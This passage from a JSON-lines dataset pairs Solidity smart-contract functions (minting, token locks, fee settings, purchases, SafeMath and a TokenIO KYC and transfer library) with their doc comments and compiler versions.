i = 0; i < _amount; i++) {\r\n id++;\r\n _safeMint(msg.sender, id);\r\n emit Mint(msg.sender, totalSupply());\r\n }\r\n }", "version": "0.8.2"} {"comment": "// transfer to and lock it", "function_code": "function transferAndLock(address _to, uint256 _value, uint _releaseTime) public returns (bool success) {\r\n require(_to != 0x0);\r\n require(_value <= balances[msg.sender]);\r\n require(_value > 0);\r\n require(_releaseTime > now && _releaseTime <= now + 60*60*24*365*5);\r\n\r\n // SafeMath.sub will throw if there is not enough balance.\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n \r\n //if preLock can release \r\n uint preRelease = timeRelease[_to];\r\n if (preRelease <= now && preRelease != 0x0) {\r\n balances[_to] = balances[_to].add(lockedBalance[_to]);\r\n lockedBalance[_to] = 0;\r\n }\r\n\r\n lockedBalance[_to] = lockedBalance[_to].add(_value);\r\n timeRelease[_to] = _releaseTime >= timeRelease[_to] ? _releaseTime : timeRelease[_to]; \r\n Transfer(msg.sender, _to, _value);\r\n Lock(_to, _value, _releaseTime);\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "/**\r\n * @notice Transfers tokens held by lock.\r\n */", "function_code": "function unlock() public constant returns (bool success){\r\n uint256 amount = lockedBalance[msg.sender];\r\n require(amount > 0);\r\n require(now >= timeRelease[msg.sender]);\r\n\r\n balances[msg.sender] = balances[msg.sender].add(amount);\r\n lockedBalance[msg.sender] = 0;\r\n timeRelease[msg.sender] = 0;\r\n\r\n Transfer(0x0, msg.sender, amount);\r\n UnLock(msg.sender, amount);\r\n\r\n return true;\r\n\r\n }", "version": "0.4.16"} {"comment": "/**\r\n * reward rate for purchase\r\n */", "function_code": "function rewardRate() internal constant returns (uint256) {\r\n \r\n uint256 rate = baseExchangeRate;\r\n\r\n if (now < startTime) {\r\n rate = vcExchangeRate;\r\n } else {\r\n uint crowdIndex = (now - startTime) / (24 * 60 * 60); \r\n if (crowdIndex < DaysForEarlyDay) {\r\n rate = earlyExchangeRate;\r\n } else {\r\n rate = baseExchangeRate;\r\n }\r\n\r\n //vip\r\n if (msg.value >= vipThrehold) {\r\n rate = vipExchangeRate;\r\n }\r\n }\r\n return rate - baseExchangeRate;\r\n \r\n }", "version": "0.4.16"} {"comment": "// Withdraw BEP20 tokens sent to this contract\n// NOTE: This function is to be called if and only if BEP20 tokens gets sent into this contract. \n// On no other occurence should this function be called. ", "function_code": "function withdrawTokens(address token, address recipient) external onlyOwner {\r\n require(token != address(0), 'Invalid Token!');\r\n require(recipient != address(0), 'Invalid Recipient!');\r\n\r\n uint256 balance = IBEP20(token).balanceOf(address(this));\r\n if (balance > 0) {\r\n require(IBEP20(token).transfer(recipient, balance), \"Transfer Failed\");\r\n }\r\n }", "version": "0.8.4"} {"comment": "// NOTE: The values should always be in the power of 1000. So if the required percentage if 6%, the value will be 60, etc...", "function_code": "function changeFeesForWhitelistedSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _HuHdistributionFeeOnSell) external onlyOwner {\r\n require(_liquidityFeeOnSell < 1000, \"Fee should be less than 100!\");\r\n require(_marketingFeeOnSell < 1000, \"Fee should be less than 100!\");\r\n require(_HuHdistributionFeeOnSell < 1000, \"Fee should be less than 100!\");\r\n liquidityFeeOnWhiteListedSell = _liquidityFeeOnSell;\r\n marketingFeeOnWhiteListedSell = _marketingFeeOnSell;\r\n HuHdistributionFeeOnWhiteListedSell = _HuHdistributionFeeOnSell;\r\n emit ChangeFeesForWhitelistedSell(_liquidityFeeOnSell, _marketingFeeOnSell, _HuHdistributionFeeOnSell);\r\n }", "version": "0.8.4"} {"comment": "/// @notice Purchase StarterPacks with SAND\n/// @param buyer The destination address for the purchased Catalysts and Gems and the address that will pay for the purchase; if not metaTx then buyer must be equal to msg.sender\n/// @param message A message containing information about the Catalysts and Gems to be purchased\n/// @param signature A signed message specifying tx details", "function_code": "function purchaseWithSand(\n address buyer,\n Message calldata message,\n bytes calldata signature\n ) external {\n require(msg.sender == buyer || _metaTransactionContracts[msg.sender], \"INVALID_SENDER\");\n require(_sandEnabled, \"SAND_IS_NOT_ENABLED\");\n require(buyer != address(0), \"DESTINATION_ZERO_ADDRESS\");\n require(\n isPurchaseValid(buyer, message.catalystIds, message.catalystQuantities, message.gemIds, message.gemQuantities, message.nonce, signature),\n \"INVALID_PURCHASE\"\n );\n uint256 amountInSand = _calculateTotalPriceInSand(message.catalystIds, message.catalystQuantities);\n _handlePurchaseWithERC20(buyer, _wallet, address(_sand), amountInSand);\n _erc20GroupCatalyst.batchTransferFrom(address(this), buyer, message.catalystIds, message.catalystQuantities);\n _erc20GroupGem.batchTransferFrom(address(this), buyer, message.gemIds, message.gemQuantities);\n emit Purchase(buyer, message, amountInSand, address(_sand), amountInSand);\n }", "version": "0.6.5"} {"comment": "/// @notice Enables admin to withdraw all remaining tokens\n/// @param to The destination address for the purchased Catalysts and Gems\n/// @param catalystIds The IDs of the catalysts to be transferred\n/// @param gemIds The IDs of the gems to be transferred", "function_code": "function withdrawAll(\n address to,\n uint256[] calldata catalystIds,\n uint256[] calldata gemIds\n ) external {\n require(msg.sender == _admin, \"NOT_AUTHORIZED\");\n\n address[] memory catalystAddresses = new address[](catalystIds.length);\n for (uint256 i = 0; i < catalystIds.length; i++) {\n catalystAddresses[i] = address(this);\n }\n address[] memory gemAddresses = new address[](gemIds.length);\n for (uint256 i = 0; i < gemIds.length; i++) {\n gemAddresses[i] = address(this);\n }\n uint256[] memory unsoldCatalystQuantities = _erc20GroupCatalyst.balanceOfBatch(catalystAddresses, catalystIds);\n uint256[] memory unsoldGemQuantities = _erc20GroupGem.balanceOfBatch(gemAddresses, gemIds);\n\n _erc20GroupCatalyst.batchTransferFrom(address(this), to, catalystIds, unsoldCatalystQuantities);\n _erc20GroupGem.batchTransferFrom(address(this), to, gemIds, unsoldGemQuantities);\n }", "version": "0.6.5"} {"comment": "/// @dev Function to calculate the total price in SAND of the StarterPacks to be purchased\n/// @dev The price of each StarterPack relates to the catalystId\n/// @param catalystIds Array of catalystIds to be purchase\n/// @param catalystQuantities Array of quantities of those catalystIds to be purchased\n/// @return Total price in SAND", "function_code": "function _calculateTotalPriceInSand(uint256[] memory catalystIds, uint256[] memory catalystQuantities) internal returns (uint256) {\n uint256[] memory prices = _priceSelector();\n uint256 totalPrice;\n for (uint256 i = 0; i < catalystIds.length; i++) {\n uint256 id = catalystIds[i];\n uint256 quantity = catalystQuantities[i];\n totalPrice += prices[id].mul(quantity);\n }\n return totalPrice;\n }", "version": "0.6.5"} {"comment": "/// @dev Function to determine whether to use old or new prices\n/// @return Array of prices", "function_code": "function _priceSelector() internal returns (uint256[] memory) {\n uint256[] memory prices;\n // No price change:\n if (_priceChangeTimestamp == 0) {\n prices = _starterPackPrices;\n } else {\n // Price change delay has expired.\n if (now > _priceChangeTimestamp + 1 hours) {\n _priceChangeTimestamp = 0;\n prices = _starterPackPrices;\n } else {\n // Price change has occured:\n prices = _previousStarterPackPrices;\n }\n }\n return prices;\n }", "version": "0.6.5"} {"comment": "/*\r\n This function allows users to purchase Video Game Item. \r\n The price is automatically multiplied by 2 after each purchase.\r\n Users can purchase multiple video game Items.\r\n */", "function_code": "function purchaseVideoGameItem(uint _videoGameItemId) public payable {\r\n require(msg.value >= videoGameItems[_videoGameItemId].currentPrice);\r\n require(isPaused == false);\r\n\r\n CryptoVideoGames parentContract = CryptoVideoGames(cryptoVideoGames);\r\n uint256 currentPrice = videoGameItems[_videoGameItemId].currentPrice;\r\n uint256 excess = msg.value - currentPrice;\r\n // Calculate the 10% value\r\n uint256 devFee = (currentPrice / 10);\r\n uint256 parentOwnerFee = (currentPrice / 10);\r\n\r\n address parentOwner = parentContract.getVideoGameOwner(videoGameItems[_videoGameItemId].parentVideoGame);\r\n address newOwner = msg.sender;\r\n // Calculate the video game owner commission on this sale & transfer the commission to the owner. \r\n uint256 commissionOwner = currentPrice - devFee - parentOwnerFee; // => 80%\r\n videoGameItems[_videoGameItemId].ownerAddress.transfer(commissionOwner);\r\n\r\n // Transfer the 10% commission to the developer\r\n devFeeAddress.transfer(devFee); // => 10% \r\n parentOwner.transfer(parentOwnerFee); // => 10% \r\n newOwner.transfer(excess); \r\n\r\n // Update the video game owner and set the new price\r\n videoGameItems[_videoGameItemId].ownerAddress = newOwner;\r\n videoGameItems[_videoGameItemId].currentPrice = mul(videoGameItems[_videoGameItemId].currentPrice, 2);\r\n }", "version": "0.4.20"} {"comment": "// This function will return all of the details of the Video Game Item", "function_code": "function getVideoGameItemDetails(uint _videoGameItemId) public view returns (\r\n string videoGameItemName,\r\n address ownerAddress,\r\n uint256 currentPrice,\r\n uint parentVideoGame\r\n ) {\r\n VideoGameItem memory _videoGameItem = videoGameItems[_videoGameItemId];\r\n\r\n videoGameItemName = _videoGameItem.videoGameItemName;\r\n ownerAddress = _videoGameItem.ownerAddress;\r\n currentPrice = _videoGameItem.currentPrice;\r\n parentVideoGame = _videoGameItem.parentVideoGame;\r\n }", "version": "0.4.20"} {"comment": "/**\r\n @dev Multiplies two numbers, throws on overflow. => From the SafeMath library\r\n */", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n if (a == 0) {\r\n return 0;\r\n }\r\n uint256 c = a * b;\r\n assert(c / a == b);\r\n return c;\r\n }", "version": "0.4.20"} {"comment": "/// @dev Mints tokens to a recipient.\n///\n/// This function reverts if the caller does not have the minter role.\n///\n/// @param _recipient the account to mint tokens to.\n/// @param _amount the amount of tokens to mint.", "function_code": "function mint(address _recipient, uint256 _amount) external onlyWhitelisted {\n require(!blacklist[msg.sender], \"NUSD: Formation is blacklisted.\");\n uint256 _total = _amount.add(hasMinted[msg.sender]);\n require(_total <= ceiling[msg.sender],\"NUSD: Formation's ceiling was breached.\");\n require(!paused[msg.sender], \"NUSD: user is currently paused.\");\n hasMinted[msg.sender] = hasMinted[msg.sender].add(_amount);\n _mint(_recipient, _amount);\n }", "version": "0.6.12"} {"comment": "// reserve MAX_RESERVE_SUPPLY for promotional purposes", "function_code": "function reserveNFTs(address to, uint256 quantity) external onlyOwner {\n require(quantity > 0, \"Quantity cannot be zero\");\n uint totalMinted = totalSupply();\n require(totalMinted.add(quantity) <= MAX_RESERVE_SUPPLY, \"No more promo NFTs left\");\n _safeMint(to, quantity);\n lockMetadata(quantity);\n }", "version": "0.8.13"} {"comment": "// Transfers the taxes a user owes from their account to the taxCollector and resets lastPaidTaxes to now", "function_code": "function transferTaxes(address user, bool isInAuction) public returns (bool) {\r\n\r\n if (isInAuction) {\r\n return true;\r\n }\r\n\r\n uint256 taxesDue = _taxesDue(user);\r\n\r\n // Make sure the user has enough funds to pay the taxesDue\r\n if (userBalanceAtLastPaid[user] < taxesDue) {\r\n return false;\r\n }\r\n\r\n // Transfer taxes due from this contract to the tax collector\r\n _payoutTaxes(taxesDue);\r\n // Update the user's lastPaidTaxes\r\n lastPaidTaxes[user] = now;\r\n // subtract the taxes paid from the user's balance\r\n userBalanceAtLastPaid[user] = userBalanceAtLastPaid[user].sub(taxesDue);\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Multiplies two numbers, throws on overflow.\r\n * @param a Multiplier\r\n * @param b Multiplicand\r\n * @return {\"result\" : \"Returns product\"}\r\n */", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256 result) {\r\n if (a == 0) {\r\n return 0;\r\n }\r\n uint256 c = a * b;\r\n require(c / a == b, \"Error: Unsafe multiplication operation!\");\r\n return c;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Integer division of two numbers, truncating the quotient.\r\n * @param a Dividend\r\n * @param b Divisor\r\n * @return {\"result\" : \"Returns quotient\"}\r\n */", "function_code": "function div(uint256 a, uint256 b) internal pure returns (uint256 result) {\r\n // @dev require(b > 0); // Solidity automatically throws when dividing by 0\r\n uint256 c = a / b;\r\n // @dev require(a == b * c + a % b); // There is no case in which this doesn't hold\r\n return c;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Subtracts two numbers, throws on underflow.\r\n * @param a Subtrahend\r\n * @param b Minuend\r\n * @return {\"result\" : \"Returns difference\"}\r\n */", "function_code": "function sub(uint256 a, uint256 b) internal pure returns (uint256 result) {\r\n // @dev throws on overflow (i.e. if subtrahend is greater than minuend)\r\n require(b <= a, \"Error: Unsafe subtraction operation!\");\r\n return a - b;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set the token name for Token interfaces\r\n * @dev This method must be set by the token interface's setParams() method\r\n * @dev | This method has an `internal` view\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param tokenName Name of the token contract\r\n * @return {\"success\" : \"Returns true when successfully called from another contract\"}\r\n */", "function_code": "function setTokenName(Data storage self, string tokenName) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('token.name', address(this)));\r\n require(\r\n self.Storage.setString(id, tokenName),\r\n \"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.\"\r\n );\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set the token symbol for Token interfaces\r\n * @dev This method must be set by the token interface's setParams() method\r\n * @dev | This method has an `internal` view\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param tokenSymbol Symbol of the token contract\r\n * @return {\"success\" : \"Returns true when successfully called from another contract\"}\r\n */", "function_code": "function setTokenSymbol(Data storage self, string tokenSymbol) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('token.symbol', address(this)));\r\n require(\r\n self.Storage.setString(id, tokenSymbol),\r\n \"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.\"\r\n );\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set the token version for Token interfaces\r\n * @dev This method must be set by the token interface's setParams() method\r\n * @dev | This method has an `internal` view\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param tokenVersion Semantic (vMAJOR.MINOR.PATCH | e.g. v0.1.0) version of the token contract\r\n * @return {\"success\" : \"Returns true when successfully called from another contract\"}\r\n */", "function_code": "function setTokenVersion(Data storage self, string tokenVersion) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('token.version', address(this)));\r\n require(\r\n self.Storage.setString(id, tokenVersion),\r\n \"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.\"\r\n );\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set the token decimals for Token interfaces\r\n * @dev This method must be set by the token interface's setParams() method\r\n * @dev | This method has an `internal` view\r\n * @dev This method is not set to the address of the contract, rather is maped to currency\r\n * @dev To derive decimal value, divide amount by 10^decimal representation (e.g. 10132 / 10**2 == 101.32)\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param currency Currency symbol of the token (e.g. USDx, JYPx, GBPx)\r\n * @param tokenDecimals Decimal representation of the token contract unit amount\r\n * @return {\"success\" : \"Returns true when successfully called from another contract\"}\r\n */", "function_code": "function setTokenDecimals(Data storage self, string currency, uint tokenDecimals) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('token.decimals', currency));\r\n require(\r\n self.Storage.setUint(id, tokenDecimals),\r\n \"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.\"\r\n );\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set basis point fee for contract interface\r\n * @dev Transaction fees can be set by the TokenIOFeeContract\r\n * @dev Fees vary by contract interface specified `feeContract`\r\n * @dev | This method has an `internal` view\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param feeBPS Basis points fee for interface contract transactions\r\n * @return {\"success\" : \"Returns true when successfully called from another contract\"}\r\n */", "function_code": "function setFeeBPS(Data storage self, uint feeBPS) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('fee.bps', address(this)));\r\n require(\r\n self.Storage.setUint(id, feeBPS),\r\n \"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.\"\r\n );\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set fee message for contract interface\r\n * @dev Default fee messages can be set by the TokenIOFeeContract (e.g. \"tx_fees\")\r\n * @dev Fee messages vary by contract interface specified `feeContract`\r\n * @dev | This method has an `internal` view\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param feeMsg Fee message included in a transaction with fees\r\n * @return {\"success\" : \"Returns true when successfully called from another contract\"}\r\n */", "function_code": "function setFeeMsg(Data storage self, bytes feeMsg) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('fee.msg', address(this)));\r\n require(\r\n self.Storage.setBytes(id, feeMsg),\r\n \"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.\"\r\n );\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set contract interface associated with a given TokenIO currency symbol (e.g. USDx)\r\n * @dev | This should only be called once from a token interface contract;\r\n * @dev | This method has an `internal` view\r\n * @dev | This method is experimental and may be deprecated/refactored\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param currency Currency symbol of the token (e.g. USDx, JYPx, GBPx)\r\n * @return {\"success\" : \"Returns true when successfully called from another contract\"}\r\n */", "function_code": "function setTokenNameSpace(Data storage self, string currency) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('token.namespace', currency));\r\n require(\r\n self.Storage.setAddress(id, address(this)),\r\n \"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.\"\r\n );\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set the KYC approval status (true/false) for a given account\r\n * @dev | This method has an `internal` view\r\n * @dev | Every account must be KYC'd to be able to use transfer() & transferFrom() methods\r\n * @dev | To gain approval for an account, register at https://tsm.token.io/sign-up\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param account Ethereum address of account holder\r\n * @param isApproved Boolean (true/false) KYC approval status for a given account\r\n * @param issuerFirm Firm name for issuing KYC approval\r\n * @return {\"success\" : \"Returns true when successfully called from another contract\"}\r\n */", "function_code": "function setKYCApproval(Data storage self, address account, bool isApproved, string issuerFirm) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('account.kyc', getForwardedAccount(self, account)));\r\n require(\r\n self.Storage.setBool(id, isApproved),\r\n \"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.\"\r\n );\r\n\r\n /// @dev NOTE: Issuer is logged for setting account KYC status\r\n emit KYCApproval(account, isApproved, issuerFirm);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set a forwarded address for an account.\r\n * @dev | This method has an `internal` view\r\n * @dev | Forwarded accounts must be set by an authority in case of account recovery;\r\n * @dev | Additionally, the original owner can set a forwarded account (e.g. add a new device, spouse, dependent, etc)\r\n * @dev | All transactions will be logged under the same KYC information as the original account holder;\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param originalAccount Original registered Ethereum address of the account holder\r\n * @param forwardedAccount Forwarded Ethereum address of the account holder\r\n * @return {\"success\" : \"Returns true when successfully called from another contract\"}\r\n */", "function_code": "function setForwardedAccount(Data storage self, address originalAccount, address forwardedAccount) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('master.account', forwardedAccount));\r\n require(\r\n self.Storage.setAddress(id, originalAccount),\r\n \"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.\"\r\n );\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Get the original address for a forwarded account\r\n * @dev | This method has an `internal` view\r\n * @dev | Will return the registered account for the given forwarded account\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param account Ethereum address of account holder\r\n * @return { \"registeredAccount\" : \"Will return the original account of a forwarded account or the account itself if no account found\"}\r\n */", "function_code": "function getForwardedAccount(Data storage self, address account) internal view returns (address registeredAccount) {\r\n bytes32 id = keccak256(abi.encodePacked('master.account', account));\r\n address originalAccount = self.Storage.getAddress(id);\r\n if (originalAccount != 0x0) {\r\n return originalAccount;\r\n } else {\r\n return account;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set the master fee contract used as the default fee contract when none is provided\r\n * @dev | This method has an `internal` view\r\n * @dev | This value is set in the TokenIOAuthority contract\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param contractAddress Contract address of the queryable interface\r\n * @return { \"success\" : \"Returns true when successfully called from another contract\"}\r\n */", "function_code": "function setMasterFeeContract(Data storage self, address contractAddress) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('fee.contract.master'));\r\n require(\r\n self.Storage.setAddress(id, contractAddress),\r\n \"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.\"\r\n );\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Get the fee contract set for a contract interface\r\n * @dev | This method has an `internal` view\r\n * @dev | Custom fee pricing can be set by assigning a fee contract to transactional contract interfaces\r\n * @dev | If a fee contract has not been set by an interface contract, then the master fee contract will be returned\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param contractAddress Contract address of the queryable interface\r\n * @return { \"feeContract\" : \"Returns the fee contract associated with a contract interface\"}\r\n */", "function_code": "function getFeeContract(Data storage self, address contractAddress) internal view returns (address feeContract) {\r\n bytes32 id = keccak256(abi.encodePacked('fee.account', contractAddress));\r\n\r\n address feeAccount = self.Storage.getAddress(id);\r\n if (feeAccount == 0x0) {\r\n return getMasterFeeContract(self);\r\n } else {\r\n return feeAccount;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set the frozen token balance for a given account\r\n * @dev | This method has an `internal` view\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param currency Currency symbol of the token (e.g. USDx, JYPx, GBPx)\r\n * @param account Ethereum address of account holder\r\n * @param amount Amount of tokens to freeze for account\r\n * @return { \"success\" : \"Return true if successfully called from another contract\"}\r\n */", "function_code": "function setTokenFrozenBalance(Data storage self, string currency, address account, uint amount) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('token.frozen', currency, getForwardedAccount(self, account)));\r\n require(\r\n self.Storage.setUint(id, amount),\r\n \"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.\"\r\n );\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set the frozen token balance for a given account\r\n * @dev | This method has an `internal` view\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param contractAddress Contract address of the fee contract\r\n * @param amount Transaction value\r\n * @return { \"calculatedFees\" : \"Return the calculated transaction fees for a given amount and fee contract\" }\r\n */", "function_code": "function calculateFees(Data storage self, address contractAddress, uint amount) internal view returns (uint calculatedFees) {\r\n\r\n uint maxFee = self.Storage.getUint(keccak256(abi.encodePacked('fee.max', contractAddress)));\r\n uint minFee = self.Storage.getUint(keccak256(abi.encodePacked('fee.min', contractAddress)));\r\n uint bpsFee = self.Storage.getUint(keccak256(abi.encodePacked('fee.bps', contractAddress)));\r\n uint flatFee = self.Storage.getUint(keccak256(abi.encodePacked('fee.flat', contractAddress)));\r\n uint fees = ((amount.mul(bpsFee)).div(10000)).add(flatFee);\r\n\r\n if (fees > maxFee) {\r\n return maxFee;\r\n } else if (fees < minFee) {\r\n return minFee;\r\n } else {\r\n return fees;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Verified KYC and global status for two accounts and return true or throw if either account is not verified\r\n * @dev | This method has an `internal` view\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param accountA Ethereum address of first account holder to verify\r\n * @param accountB Ethereum address of second account holder to verify\r\n * @return { \"verified\" : \"Returns true if both accounts are successfully verified\" }\r\n */", "function_code": "function verifyAccounts(Data storage self, address accountA, address accountB) internal view returns (bool verified) {\r\n require(\r\n verifyAccount(self, accountA),\r\n \"Error: Account is not verified for operation. Please ensure account has been KYC approved.\"\r\n );\r\n require(\r\n verifyAccount(self, accountB),\r\n \"Error: Account is not verified for operation. Please ensure account has been KYC approved.\"\r\n );\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Verified KYC and global status for a single account and return true or throw if account is not verified\r\n * @dev | This method has an `internal` view\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param account Ethereum address of account holder to verify\r\n * @return { \"verified\" : \"Returns true if account is successfully verified\" }\r\n */", "function_code": "function verifyAccount(Data storage self, address account) internal view returns (bool verified) {\r\n require(\r\n getKYCApproval(self, account),\r\n \"Error: Account does not have KYC approval.\"\r\n );\r\n require(\r\n getAccountStatus(self, account),\r\n \"Error: Account status is `false`. Account status must be `true`.\"\r\n );\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Transfer an amount of currency token from msg.sender account to another specified account\r\n * @dev This function is called by an interface that is accessible directly to the account holder\r\n * @dev | This method has an `internal` view\r\n * @dev | This method uses `forceTransfer()` low-level api\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param currency Currency symbol of the token (e.g. USDx, JYPx, GBPx)\r\n * @param to Ethereum address of account to send currency amount to\r\n * @param amount Value of currency to transfer\r\n * @param data Arbitrary bytes data to include with the transaction\r\n * @return { \"success\" : \"Return true if successfully called from another contract\" }\r\n */", "function_code": "function transfer(Data storage self, string currency, address to, uint amount, bytes data) internal returns (bool success) {\r\n require(address(to) != 0x0, \"Error: `to` address cannot be null.\" );\r\n require(amount > 0, \"Error: `amount` must be greater than zero\");\r\n\r\n address feeContract = getFeeContract(self, address(this));\r\n uint fees = calculateFees(self, feeContract, amount);\r\n\r\n require(\r\n setAccountSpendingAmount(self, msg.sender, getFxUSDAmount(self, currency, amount)),\r\n \"Error: Unable to set spending amount for account.\");\r\n\r\n require(\r\n forceTransfer(self, currency, msg.sender, to, amount, data),\r\n \"Error: Unable to transfer funds to account.\");\r\n\r\n // @dev transfer fees to fee contract\r\n require(\r\n forceTransfer(self, currency, msg.sender, feeContract, fees, getFeeMsg(self, feeContract)),\r\n \"Error: Unable to transfer fees to fee contract.\");\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Transfer an amount of currency token from account to another specified account via an approved spender account\r\n * @dev This function is called by an interface that is accessible directly to the account spender\r\n * @dev | This method has an `internal` view\r\n * @dev | Transactions will fail if the spending amount exceeds the daily limit\r\n * @dev | This method uses `forceTransfer()` low-level api\r\n * @dev | This method implements ERC20 transferFrom() method with approved spender behavior\r\n * @dev | msg.sender == spender; `updateAllowance()` reduces approved limit for account spender\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param currency Currency symbol of the token (e.g. USDx, JYPx, GBPx)\r\n * @param from Ethereum address of account to send currency amount from\r\n * @param to Ethereum address of account to send currency amount to\r\n * @param amount Value of currency to transfer\r\n * @param data Arbitrary bytes data to include with the transaction\r\n * @return { \"success\" : \"Return true if successfully called from another contract\" }\r\n */", "function_code": "function transferFrom(Data storage self, string currency, address from, address to, uint amount, bytes data) internal returns (bool success) {\r\n require(\r\n address(to) != 0x0,\r\n \"Error: `to` address must not be null.\"\r\n );\r\n\r\n address feeContract = getFeeContract(self, address(this));\r\n uint fees = calculateFees(self, feeContract, amount);\r\n\r\n /// @dev NOTE: This transaction will fail if the spending amount exceeds the daily limit\r\n require(\r\n setAccountSpendingAmount(self, from, getFxUSDAmount(self, currency, amount)),\r\n \"Error: Unable to set account spending amount.\"\r\n );\r\n\r\n /// @dev Attempt to transfer the amount\r\n require(\r\n forceTransfer(self, currency, from, to, amount, data),\r\n \"Error: Unable to transfer funds to account.\"\r\n );\r\n\r\n // @dev transfer fees to fee contract\r\n require(\r\n forceTransfer(self, currency, from, feeContract, fees, getFeeMsg(self, feeContract)),\r\n \"Error: Unable to transfer fees to fee contract.\"\r\n );\r\n\r\n /// @dev Attempt to update the spender allowance\r\n require(\r\n updateAllowance(self, currency, from, amount),\r\n \"Error: Unable to update allowance for spender.\"\r\n );\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Low-level transfer method\r\n * @dev | This method has an `internal` view\r\n * @dev | This method does not include fees or approved allowances.\r\n * @dev | This method is only for authorized interfaces to use (e.g. TokenIOFX)\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param currency Currency symbol of the token (e.g. USDx, JYPx, GBPx)\r\n * @param from Ethereum address of account to send currency amount from\r\n * @param to Ethereum address of account to send currency amount to\r\n * @param amount Value of currency to transfer\r\n * @param data Arbitrary bytes data to include with the transaction\r\n * @return { \"success\" : \"Return true if successfully called from another contract\" }\r\n */", "function_code": "function forceTransfer(Data storage self, string currency, address from, address to, uint amount, bytes data) internal returns (bool success) {\r\n require(\r\n address(to) != 0x0,\r\n \"Error: `to` address must not be null.\"\r\n );\r\n\r\n bytes32 id_a = keccak256(abi.encodePacked('token.balance', currency, getForwardedAccount(self, from)));\r\n bytes32 id_b = keccak256(abi.encodePacked('token.balance', currency, getForwardedAccount(self, to)));\r\n\r\n require(\r\n self.Storage.setUint(id_a, self.Storage.getUint(id_a).sub(amount)),\r\n \"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.\"\r\n );\r\n require(\r\n self.Storage.setUint(id_b, self.Storage.getUint(id_b).add(amount)),\r\n \"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.\"\r\n );\r\n\r\n emit Transfer(currency, from, to, amount, data);\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Low-level method to update spender allowance for account\r\n * @dev | This method is called inside the `transferFrom()` method\r\n * @dev | msg.sender == spender address\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param currency Currency symbol of the token (e.g. USDx, JYPx, GBPx)\r\n * @param account Ethereum address of account 